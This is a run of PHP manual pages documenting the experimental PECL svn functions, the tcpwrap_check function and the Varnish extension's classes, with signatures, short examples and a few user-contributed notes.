bool svn_fs_make_dir ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Creates a new empty directory, returns true if all is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_is_file
svn_fs_make_file
SVN Functions


Creates a new empty file, returns true if all is ok, false otherwise

svn_fs_make_dir
svn_fs_node_created_rev
SVN Functions
PHP Manual

svn_fs_make_file

(PECL svn >= 0.2.0)

svn_fs_make_file — Creates a new empty file, returns true if all is ok, false otherwise

Description

bool svn_fs_make_file ( resource $root , string $path )
Warning

This function is currently not documented; only its argument list is available.

Creates a new empty file, returns true if all is ok, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_make_dir
svn_fs_node_created_rev
SVN Functions


Returns the revision in which path under fsroot was created

svn_fs_make_file
svn_fs_node_prop
SVN Functions
PHP Manual

svn_fs_node_created_rev

(PECL svn >= 0.1.0)

svn_fs_node_created_rev — Returns the revision in which path under fsroot was created

Description

int svn_fs_node_created_rev ( resource $fsroot , string $path )
Warning

This function is currently not documented; only its argument list is available.

Returns the revision in which path under fsroot was created

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_make_file
svn_fs_node_prop
SVN Functions


Returns the value of a property for a node

svn_fs_node_created_rev
svn_fs_props_changed
SVN Functions
PHP Manual

svn_fs_node_prop

(PECL svn >= 0.1.0)

svn_fs_node_prop — Returns the value of a property for a node

Description

string svn_fs_node_prop ( resource $fsroot , string $path , string $propname )
Warning

This function is currently not documented; only its argument list is available.

Returns the value of a property for a node

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_node_created_rev
svn_fs_props_changed
SVN Functions


Return true if props are different, false otherwise

svn_fs_node_prop
svn_fs_revision_prop
SVN Functions
PHP Manual

svn_fs_props_changed

(PECL svn >= 0.2.0)

svn_fs_props_changed — Return true if props are different, false otherwise

Description

bool svn_fs_props_changed ( resource $root1 , string $path1 , resource $root2 , string $path2 )
Warning

This function is currently not documented; only its argument list is available.

Return true if props are different, false otherwise

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_node_prop
svn_fs_revision_prop
SVN Functions


Fetches the value of a named property

svn_fs_props_changed
svn_fs_revision_root
SVN Functions
PHP Manual

svn_fs_revision_prop

(PECL svn >= 0.1.0)

svn_fs_revision_prop — Fetches the value of a named property

Description

string svn_fs_revision_prop ( resource $fs , int $revnum , string $propname )
Warning

This function is currently not documented; only its argument list is available.

Fetches the value of a named property

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_props_changed
svn_fs_revision_root
SVN Functions


Get a handle on a specific version of the repository root

svn_fs_revision_prop
svn_fs_txn_root
SVN Functions
PHP Manual

svn_fs_revision_root

(PECL svn >= 0.1.0)

svn_fs_revision_root — Get a handle on a specific version of the repository root

Description

resource svn_fs_revision_root ( resource $fs , int $revnum )
Warning

This function is currently not documented; only its argument list is available.

Get a handle on a specific version of the repository root

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_revision_prop
svn_fs_txn_root
SVN Functions


Creates and returns a transaction root

svn_fs_revision_root
svn_fs_youngest_rev
SVN Functions
PHP Manual

svn_fs_txn_root

(PECL svn >= 0.2.0)

svn_fs_txn_root — Creates and returns a transaction root

Description

resource svn_fs_txn_root ( resource $txn )
Warning

This function is currently not documented; only its argument list is available.

Creates and returns a transaction root

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_revision_root
svn_fs_youngest_rev
SVN Functions


Returns the number of the youngest revision in the filesystem

svn_fs_txn_root
svn_import
SVN Functions
PHP Manual

svn_fs_youngest_rev

(PECL svn >= 0.1.0)

svn_fs_youngest_rev — Returns the number of the youngest revision in the filesystem

Description

int svn_fs_youngest_rev ( resource $fs )
Warning

This function is currently not documented; only its argument list is available.

Returns the number of the youngest revision in the filesystem

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_txn_root
svn_import
SVN Functions


Imports an unversioned path into a repository

svn_fs_youngest_rev
svn_log
SVN Functions
PHP Manual

svn_import

(PECL svn >= 0.2.0)

svn_import — Imports an unversioned path into a repository

Description

bool svn_import ( string $path , string $url , bool $nonrecursive )

Commits unversioned path into repository at url. If path is a directory and nonrecursive is FALSE, the directory will be imported recursively.

Parameters

path

Path of file or directory to import.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

url

Repository URL to import into.

nonrecursive

Whether or not to refrain from recursively processing directories.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates a basic use-case of this function. To import a directory named new-files into the repository at http://www.example.com/svnroot/incoming/abc, use:

<?php
svn_import(realpath('new-files'), 'http://www.example.com/svnroot/incoming/abc', false);
?>

See Also

  • svn_add() - Schedules the addition of an item in a working directory
  • » SVN documentation for svn import

User Contributed Notes

There are no user contributed notes for this page.
svn_fs_youngest_rev
svn_log
SVN Functions


Returns the commit log messages of a repository URL

svn_import
svn_ls
SVN Functions
PHP Manual

svn_log

(PECL svn >= 0.1.0)

svn_log — Returns the commit log messages of a repository URL

Description

array svn_log ( string $repos_url [, int $start_revision [, int $end_revision [, int $limit = 0 [, int $flags = SVN_DISCOVER_CHANGED_PATHS | SVN_STOP_ON_COPY ]]]] )

svn_log() returns the complete history of the item at the repository URL repos_url, or the history of a specific revision if start_revision is set. This function is equivalent to svn log --verbose -r $start_revision $repos_url.

Parameters

repos_url

Repository URL of the item to retrieve log history from.

start_revision

Revision number of the first log to retrieve. Use SVN_REVISION_HEAD to retrieve the log from the most recent revision.

end_revision

Revision number of the last log to retrieve. Defaults to start_revision if specified or to SVN_REVISION_INITIAL otherwise.

limit

Number of logs to retrieve.

flags

Any combination of SVN_OMIT_MESSAGES, SVN_DISCOVER_CHANGED_PATHS and SVN_STOP_ON_COPY.

Return Values

On success, this function returns an array file listing in the format of:

[0] => Array, ordered most recent (highest) revision first
(
    [rev] => integer revision number
    [author] => string author name
    [msg] => string log message
    [date] => string date formatted per ISO 8601, i.e. date('c')
    [paths] => Array, describing changed files
        (
            [0] => Array
                (
                    [action] => string letter signifying change
                    [path] =>  absolute repository path of changed file
                )
            [1] => ...
        )
)
[1] => ...

Note:

The output will always be a numerically indexed array of arrays, even when there are none or only one log message(s).

The value of action is a subset of the » status output in the first column, where possible values are:

Actions
Letter | Description
M | Item/props was modified
A | Item was added
D | Item was deleted
R | Item was replaced

If no changes were made to the item, an empty array is returned.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 svn_log() example

<?php
print_r( svn_log('http://www.example.com/', 23) );
?>

The above example will output something similar to:

Array
(
    [0] => Array
    (
        [rev] => 23
        [author] => 'joe'
        [msg] => 'Add cheese and salami to our sandwich.'
        [date] => '2007-04-06T16:00:27-04:00'
        [paths] => Array
            (
                [0] => Array
                    (
                        [action] => 'M'
                        [path] =>  '/sandwich.txt'
                    )
            )
    )
)

See Also

  • » SVN documentation on svn log

User Contributed Notes

php dot net at gnur dot nl 09-Jun-2011 02:42
Please not that using svn_log without giving revisions is much, much slower then with revisions. Examples:

$ time php -r "svn_log('http://localhost/svn/shopadsl');"

real    0m2.140s
user    0m0.140s
sys     0m0.000s

VS

$ time php -r "svn_log('http://localhost/svn/shopadsl', 0, 45);"

real    0m0.063s
user    0m0.024s
sys     0m0.016s
svn_import
svn_ls
SVN Functions


Returns list of directory contents in repository URL, optionally at revision number

svn_log
svn_mkdir
SVN Functions
PHP Manual

svn_ls

(PECL svn >= 0.1.0)

svn_ls — Returns list of directory contents in repository URL, optionally at revision number

Description

array svn_ls ( string $repos_url [, int $revision_no = SVN_REVISION_HEAD [, bool $recurse = false [, bool $peg = false ]]] )

This function queries the repository URL and returns a list of files and directories, optionally from a specific revision. This is equivalent to svn list $repos_url[@$revision_no]

Note:

This function does not work with working copies. repos_url must be a repository URL.

Parameters

url

URL of the repository, eg. http://www.example.com/svnroot. To access a local Subversion repository via filesystem, use the file URI scheme, eg. file:///home/user/svn-repos

revision

Integer revision number to retrieve listing of. When omitted, the HEAD revision is used.

recurse

Enables recursion.

Return Values

On success, this function returns an array file listing in the format of:

[0] => Array
    (
        [created_rev] => integer revision number of last edit
        [last_author] => string author name of last edit
        [size] => integer byte file size of file
        [time] => string date of last edit in form 'M d H:i'
                  or 'M d Y', depending on how old the file is
        [time_t] => integer unix timestamp of last edit
        [name] => name of file/directory
        [type] => type, can be 'file' or 'dir'
    )
[1] => ...

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 svn_ls() example

<?php
print_r( svn_ls('http://www.example.com/svnroot/') );
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [created_rev] => 20
            [last_author] => Joe
            [size] => 0
            [time] => Apr 02 09:28
            [time_t] => 1175520529
            [name] => tags
            [type] => dir
        )
    [1] => Array
        (
            [created_rev] => 23
            [last_author] => Bob
            [size] => 0
            [time] => Apr 02 15:15
            [time_t] => 1175541322
            [name] => trunk
            [type] => dir
        )
)

See Also

  • » SVN documentation on svn list

User Contributed Notes

There are no user contributed notes for this page.
svn_log
svn_mkdir
SVN Functions


Creates a directory in a working copy or repository

svn_ls
svn_repos_create
SVN Functions
PHP Manual

svn_mkdir

(PECL svn >= 0.4.0)

svn_mkdir — Creates a directory in a working copy or repository

Description

bool svn_mkdir ( string $path [, string $log_message ] )

Creates a directory in a working copy or repository.

Parameters

path

The path to the working copy or repository.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • svn_add() - Schedules the addition of an item in a working directory
  • svn_copy()

User Contributed Notes

There are no user contributed notes for this page.
svn_ls
svn_repos_create
SVN Functions


Create a new subversion repository at path

svn_mkdir
svn_repos_fs_begin_txn_for_commit
SVN Functions
PHP Manual

svn_repos_create

(PECL svn >= 0.1.0)

svn_repos_create — Create a new subversion repository at path

Description

resource svn_repos_create ( string $path [, array $config [, array $fsconfig ]] )
Warning

This function is currently not documented; only its argument list is available.

Create a new subversion repository at path

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_mkdir
svn_repos_fs_begin_txn_for_commit
SVN Functions


Create a new transaction

svn_repos_create
svn_repos_fs_commit_txn
SVN Functions
PHP Manual

svn_repos_fs_begin_txn_for_commit

(PECL svn >= 0.2.0)

svn_repos_fs_begin_txn_for_commit — Create a new transaction

Description

resource svn_repos_fs_begin_txn_for_commit ( resource $repos , int $rev , string $author , string $log_msg )
Warning

This function is currently not documented; only its argument list is available.

Create a new transaction

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_repos_create
svn_repos_fs_commit_txn
SVN Functions


Commits a transaction and returns the new revision

svn_repos_fs_begin_txn_for_commit
svn_repos_fs
SVN Functions
PHP Manual

svn_repos_fs_commit_txn

(PECL svn >= 0.2.0)

svn_repos_fs_commit_txn — Commits a transaction and returns the new revision

Description

int svn_repos_fs_commit_txn ( resource $txn )
Warning

This function is currently not documented; only its argument list is available.

Commits a transaction and returns the new revision

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_repos_fs_begin_txn_for_commit
svn_repos_fs
SVN Functions


Gets a handle on the filesystem for a repository

svn_repos_fs_commit_txn
svn_repos_hotcopy
SVN Functions
PHP Manual

svn_repos_fs

(PECL svn >= 0.1.0)

svn_repos_fs — Gets a handle on the filesystem for a repository

Description

resource svn_repos_fs ( resource $repos )
Warning

This function is currently not documented; only its argument list is available.

Gets a handle on the filesystem for a repository

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_repos_fs_commit_txn
svn_repos_hotcopy
SVN Functions


Make a hot-copy of the repos at repospath; copy it to destpath

svn_repos_fs
svn_repos_open
SVN Functions
PHP Manual

svn_repos_hotcopy

(PECL svn >= 0.1.0)

svn_repos_hotcopy — Make a hot-copy of the repos at repospath; copy it to destpath

Description

bool svn_repos_hotcopy ( string $repospath , string $destpath , bool $cleanlogs )
Warning

This function is currently not documented; only its argument list is available.

Make a hot-copy of the repos at repospath; copy it to destpath

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_repos_fs
svn_repos_open
SVN Functions


Open a shared lock on a repository.

svn_repos_hotcopy
svn_repos_recover
SVN Functions
PHP Manual

svn_repos_open

(PECL svn >= 0.1.0)

svn_repos_open — Open a shared lock on a repository.

Description

resource svn_repos_open ( string $path )
Warning

This function is currently not documented; only its argument list is available.

Open a shared lock on a repository.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_repos_hotcopy
svn_repos_recover
SVN Functions


Run recovery procedures on the repository located at path.

svn_repos_open
svn_revert
SVN Functions
PHP Manual

svn_repos_recover

(PECL svn >= 0.1.0)

svn_repos_recover — Run recovery procedures on the repository located at path.

Description

bool svn_repos_recover ( string $path )
Warning

This function is currently not documented; only its argument list is available.

Run recovery procedures on the repository located at path.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
svn_repos_open
svn_revert
SVN Functions


Revert changes to the working copy

svn_repos_recover
svn_status
SVN Functions
PHP Manual

svn_revert

(PECL svn >= 0.3.0)

svn_revert — Revert changes to the working copy

Description

bool svn_revert ( string $path [, bool $recursive = false ] )

Revert any local changes to the path in a working copy.

Parameters

path

The path to the working repository.

recursive

Optionally make recursive changes.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • svn_delete() - Delete items from a working copy or repository.
  • svn_export() - Export the contents of a SVN directory

User Contributed Notes

There are no user contributed notes for this page.
svn_repos_recover
svn_status
SVN Functions


Returns the status of working copy files and directories

svn_revert
svn_update
SVN Functions
PHP Manual

svn_status

(PECL svn >= 0.1.0)

svn_status — Returns the status of working copy files and directories

Description

array svn_status ( string $path [, int $flags = 0 ] )

Returns the status of working copy files and directories, giving modifications, additions, deletions and other changes to items in the working copy.

Parameters

path

Local path to file or directory to retrieve status of.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

flags

Any combination of SVN_NON_RECURSIVE, SVN_ALL (regardless of modification status), SVN_SHOW_UPDATES (entries will be added for items that are out-of-date), SVN_NO_IGNORE (disregard svn:ignore properties when scanning for new files) and SVN_IGNORE_EXTERNALS.

Return Values

Returns a numerically indexed array of associative arrays detailing the status of items in the repository:

Array (
    [0] => Array (
        // information on item
    )
    [1] => ...
)

The information on the item is an associative array that can contain the following keys:

path
String path to file/directory of this entry on local filesystem.
text_status
Status of item's text. Refer to status constants for possible values.
repos_text_status
Status of item's text in repository. Only accurate if update was set to TRUE. Refer to status constants for possible values.
prop_status
Status of item's properties. Refer to status constants for possible values.
repos_prop_status
Status of item's property in repository. Only accurate if update was set to TRUE. Refer to status constants for possible values.
locked
Whether or not the item is locked. (Only set if TRUE.)
copied
Whether or not the item was copied (scheduled for addition with history). (Only set if TRUE.)
switched
Whether or not the item was switched using the switch command. (Only set if TRUE)

These keys are only set if the item is versioned:

name
Base name of item in repository.
url
URL of item in repository.
repos
Base URL of repository.
revision
Integer revision of item in working copy.
kind
Type of item, i.e. file or directory. Refer to type constants for possible values.
schedule
Scheduled action for item, i.e. addition or deletion. Constants for these magic numbers are not available, they can be emulated by using:
<?php
if (!defined('svn_wc_schedule_normal')) {
    define('svn_wc_schedule_normal',  0); // nothing special
    define('svn_wc_schedule_add',     1); // item will be added
    define('svn_wc_schedule_delete',  2); // item will be deleted
    define('svn_wc_schedule_replace', 3); // item will be added and deleted
}
?>
deleted
Whether or not the item was deleted, but parent revision lags behind. (Only set if TRUE.)
absent
Whether or not the item is absent, that is, Subversion knows that there should be something there but there isn't. (Only set if TRUE.)
incomplete
Whether or not the entries file for a directory is incomplete. (Only set if TRUE.)
cmt_date
Integer Unix timestamp of last commit date. (Unaffected by update.)
cmt_rev
Integer revision of last commit. (Unaffected by update.)
cmt_author
String author of last commit. (Unaffected by update.)
prop_time
Integer Unix timestamp of last up-to-date time for properties
text_time
Integer Unix timestamp of last up-to-date time for text

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates a basic, theoretical usage of this function.

<?php
print_r(svn_status(realpath('wc')));
?>

The above example will output something similar to:

Array (
    [0] => Array (
        [path] => /home/bob/wc/sandwich.txt
        [text_status] => 8 // item was modified
        [repos_text_status] => 1 // no information available, use update
        [prop_status] => 3 // no changes
        [repos_prop_status] => 1 // no information available, use update
        [name] => sandwich.txt
        [url] => http://www.example.com/svnroot/deli/trunk/sandwich.txt
        [repos] => http://www.example.com/svnroot/
        [revision] => 123
        [kind] => 1 // file
        [schedule] => 0 // no special actions scheduled
        [cmt_date] => 1165543135
        [cmt_rev] => 120
        [cmt_author] => Alice
        [prop_time] => 1180201728
        [text_time] => 1180201729
    )
)

See Also

  • svn_update() - Update working copy
  • svn_log() - Returns the commit log messages of a repository URL
  • » SVN documentation for svn status

User Contributed Notes

matthijs at fragfrog dot nl 20-Jul-2011 01:03
There seems to be an undocumented function svn_info (arguably the proper name for this functionality) that does almost the same as svn_status, but ignores the second parameter.

Unfortunately, neither can directly be used to just retrieve the current revision of a working copy, but a combination of svn_status and SVN_NON_RECURSIVE|SVN_ALL will work; simply perform the following command:

<?php
svn_status(ROOT,  SVN_NON_RECURSIVE|SVN_ALL);
?>

Where ROOT is of course the root of the working directory you wish to examine. One of the entries will be that working directory, including its current status.
alan at akbkhome dot com 27-May-2008 10:15
Currently the method accepts the following arguments:
 proto array svn_status(string path [, int flags]]

Where flags are:
SVN_ALL
SVN_SHOW_UPDATES
SVN_NO_IGNORE
SVN_IGNORE_EXTERNALS
SVN_NON_RECURSIVE

or
Svn::ALL
Svn::SHOW_UPDATES
Svn::NO_IGNORE
Svn::IGNORE_EXTERNALS
Svn::NON_RECURSIVE
svn_revert
svn_update
SVN Functions


Update working copy

svn_status
TCP
SVN Functions
PHP Manual

svn_update

(PECL svn >= 0.1.0)

svn_update — Update working copy

Description

int svn_update ( string $path [, int $revno = SVN_REVISION_HEAD [, bool $recurse = true ]] )

Update working copy at path to revision revno. If recurse is true, directories will be recursively updated.

Parameters

path

Path to local working copy.

Note: Relative paths will be resolved as if the current working directory was the one that contains the PHP binary. To use the calling script's working directory, use realpath() or dirname(__FILE__).

revno

Revision number to update to, default is SVN_REVISION_HEAD.

recurse

Whether or not to recursively update directories.

Return Values

Returns new revision number on success, returns FALSE on failure.

Notes

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Examples

Example #1 Basic example

This example demonstrates basic usage of this function:

<?php
echo svn_update(realpath('working-copy'));
?>

The above example will output something similar to:

234

See Also

  • svn_checkout() - Checks out a working copy from the repository
  • svn_commit() - Sends changes from the local working copy to the repository
  • » SVN documentation for svn update

User Contributed Notes

There are no user contributed notes for this page.
svn_status
TCP
SVN Functions


TCP Wrappers

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • TCP Functions
    • tcpwrap_check — Performs a tcpwrap check

User Contributed Notes

There are no user contributed notes for this page.
svn_update
Introduction
Other Services


Introduction

The TCP wrappers provides a classical Unix mechanism which has been designed to check if the remote client is able to connect from the given IP address.

User Contributed Notes

There are no user contributed notes for this page.
TCP
Installing/Configuring
TCP


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
TCP


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/tcpwrap.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
TCP Functions
TCP


TCP Functions

Table of Contents

  • tcpwrap_check — Performs a tcpwrap check

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
tcpwrap_check
TCP


Performs a tcpwrap check

TCP Functions
Varnish
TCP Functions
PHP Manual

tcpwrap_check

(PECL tcpwrap >= 0.1.0)

tcpwrap_check — Performs a tcpwrap check

Description

bool tcpwrap_check ( string $daemon , string $address [, string $user [, bool $nodns = false ]] )

This function consults the /etc/hosts.allow and /etc/hosts.deny files to check if access to service daemon should be granted or denied for a client.

Parameters

daemon

The service name.

address

The client remote address. Can be either an IP address or a domain name.

user

An optional user name.

nodns

If address looks like domain name then DNS is used to resolve it to IP address; set nodns to TRUE to avoid this.

Return Values

This function returns TRUE if access should be granted, FALSE otherwise.

Examples

Example #1 Deny all connections from localhost

If your /etc/hosts.deny file contains:

php: 127.0.0.1

And your code looks like:

<?php
if (!tcpwrap_check('php', $_SERVER['REMOTE_ADDR'])) {
  die('You are not welcome here');
}
?>

See Also

For more details please consult hosts_access(3) man page.

User Contributed Notes

There are no user contributed notes for this page.
TCP Functions
Varnish
TCP Functions


Varnish

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic VarnishAdmin usage
    • Basic VarnishStat usage
    • Basic VarnishLog usage
  • VarnishAdmin — The VarnishAdmin class
    • VarnishAdmin::auth — Authenticate on a varnish instance
    • VarnishAdmin::ban — Ban URLs using a VCL expression
    • VarnishAdmin::banUrl — Ban an URL using a VCL expression
    • VarnishAdmin::clearPanic — Clear varnish instance panic messages
    • VarnishAdmin::connect — Connect to a varnish instance administration interface
    • VarnishAdmin::__construct — VarnishAdmin constructor
    • VarnishAdmin::getPanic — Get the last panic message on a varnish instance
    • VarnishAdmin::getParams — Fetch current varnish instance configuration parameters
    • VarnishAdmin::isRunning — Check if the varnish slave process is currently running
    • VarnishAdmin::setCompat — Set the class compat configuration param
    • VarnishAdmin::setHost — Set the class host configuration param
    • VarnishAdmin::setIdent — Set the class ident configuration param
    • VarnishAdmin::setParam — Set configuration param on the current varnish instance
    • VarnishAdmin::setPort — Set the class port configuration param
    • VarnishAdmin::setSecret — Set the class secret configuration param
    • VarnishAdmin::setTimeout — Set the class timeout configuration param
    • VarnishAdmin::start — Start varnish worker process
    • VarnishAdmin::stop — Stop varnish worker process
  • VarnishStat — The VarnishStat class
    • VarnishStat::__construct — VarnishStat constructor
    • VarnishStat::getSnapshot — Get the current varnish instance statistics snapshot
  • VarnishLog — The VarnishLog class
    • VarnishLog::__construct — Varnishlog constructor
    • VarnishLog::getLine — Get next log line
    • VarnishLog::getTagName — Get the log tag string representation by its index

User Contributed Notes

There are no user contributed notes for this page.
tcpwrap_check
Introduction
Other Services


Introduction

Varnish Cache is an open source, state of the art web application accelerator. The extension makes it possible to interact with a running varnish instance through TCP socket or shared memory.

User Contributed Notes

There are no user contributed notes for this page.
Varnish
Installing/Configuring
Varnish


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Varnish


Requirements

To use this extension, you will need Varnish Cache of the version >=3.0 installed, available on the » Varnish Cache homepage

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/varnish.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

VARNISH_STATUS_SYNTAX (integer)
VARNISH_STATUS_UNKNOWN (integer)
VARNISH_STATUS_UNIMPL (integer)
VARNISH_STATUS_TOOFEW (integer)
VARNISH_STATUS_TOOMANY (integer)
VARNISH_STATUS_PARAM (integer)
VARNISH_STATUS_AUTH (integer)
VARNISH_STATUS_OK (integer)
VARNISH_STATUS_CANT (integer)
VARNISH_STATUS_COMMS (integer)
VARNISH_STATUS_CLOSE (integer)
VARNISH_CONFIG_IDENT (string)
VARNISH_CONFIG_HOST (string)
VARNISH_CONFIG_PORT (string)
VARNISH_CONFIG_TIMEOUT (string)
VARNISH_CONFIG_SECRET (string)
VARNISH_CONFIG_COMPAT (string)
VARNISH_COMPAT_2 (integer)
VARNISH_COMPAT_3 (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Varnish


Examples

Table of Contents

  • Basic VarnishAdmin usage
  • Basic VarnishStat usage
  • Basic VarnishLog usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic VarnishAdmin usage
Varnish


Basic VarnishAdmin usage

The example illustrates a simple usage of the ban functionality

Example #1 Ban an URL

<?php

$args = array(
    VARNISH_CONFIG_HOST    => "::1",
    VARNISH_CONFIG_PORT    => 6082,
    VARNISH_CONFIG_SECRET  => "5174826b-8595-4958-aa7a-0609632ad7ca",
    VARNISH_CONFIG_TIMEOUT => 300,
);

$va = new VarnishAdmin($args);

try {
    if(!$va->connect()) {
        throw new VarnishException("Connection failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    if(!$va->auth()) {
        throw new VarnishException("Auth failed\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

try {
    $status = $va->ban('req.url ~ "^/$"');
    if (VARNISH_STATUS_OK != $status) {
        throw new VarnishException("Ban method returned $status status\n");
    }
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

exit(0);

?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Basic VarnishStat usage
Examples


Basic VarnishStat usage

The example illustrates getting varnish statistic snapshot from shared memory

Example #1 Get statistic snapshot

<?php

$vs = new VarnishStat;

try {
    $data = $vs->getSnapshot();
} catch (VarnishException $e) {
    echo $e->getMessage();
    exit(3);
}

exit(0);
?>

User Contributed Notes

There are no user contributed notes for this page.
Basic VarnishAdmin usage
Basic VarnishLog usage
Examples


Basic VarnishLog usage

The example illustrates reading varnish log lines from shared memory

Example #1 Read varnish shared memory log

<?php

$vl = new VarnishLog;
while(1) {
    $line = $vl->getLine();
    printf("%s %d %s", VarnishLog::getTagName($line['tag'], $line['id'],
    $line['data']);
}

exit(0);
?>

User Contributed Notes

There are no user contributed notes for this page.
Basic VarnishStat usage
VarnishAdmin
Examples


The VarnishAdmin class

(PECL varnish >= 0.3)

Introduction

Class synopsis

VarnishAdmin {
/* Methods */
public bool auth ( void )
public int ban ( string $vcl_regex )
public int banUrl ( string $vcl_regex )
public int clearPanic ( void )
public bool connect ( void )
public __construct ([ array $args ] )
public string getPanic ( void )
public array getParams ( void )
public bool isRunning ( void )
public void setCompat ( int $compat )
public void setHost ( string $host )
public void setIdent ( string $ident )
public int setParam ( string $name , string|integer $value )
public void setPort ( int $port )
public void setSecret ( string $secret )
public void setTimeout ( int $timeout )
public int start ( void )
public int stop ( void )
}

Table of Contents

  • VarnishAdmin::auth — Authenticate on a varnish instance
  • VarnishAdmin::ban — Ban URLs using a VCL expression
  • VarnishAdmin::banUrl — Ban an URL using a VCL expression
  • VarnishAdmin::clearPanic — Clear varnish instance panic messages
  • VarnishAdmin::connect — Connect to a varnish instance administration interface
  • VarnishAdmin::__construct — VarnishAdmin constructor
  • VarnishAdmin::getPanic — Get the last panic message on a varnish instance
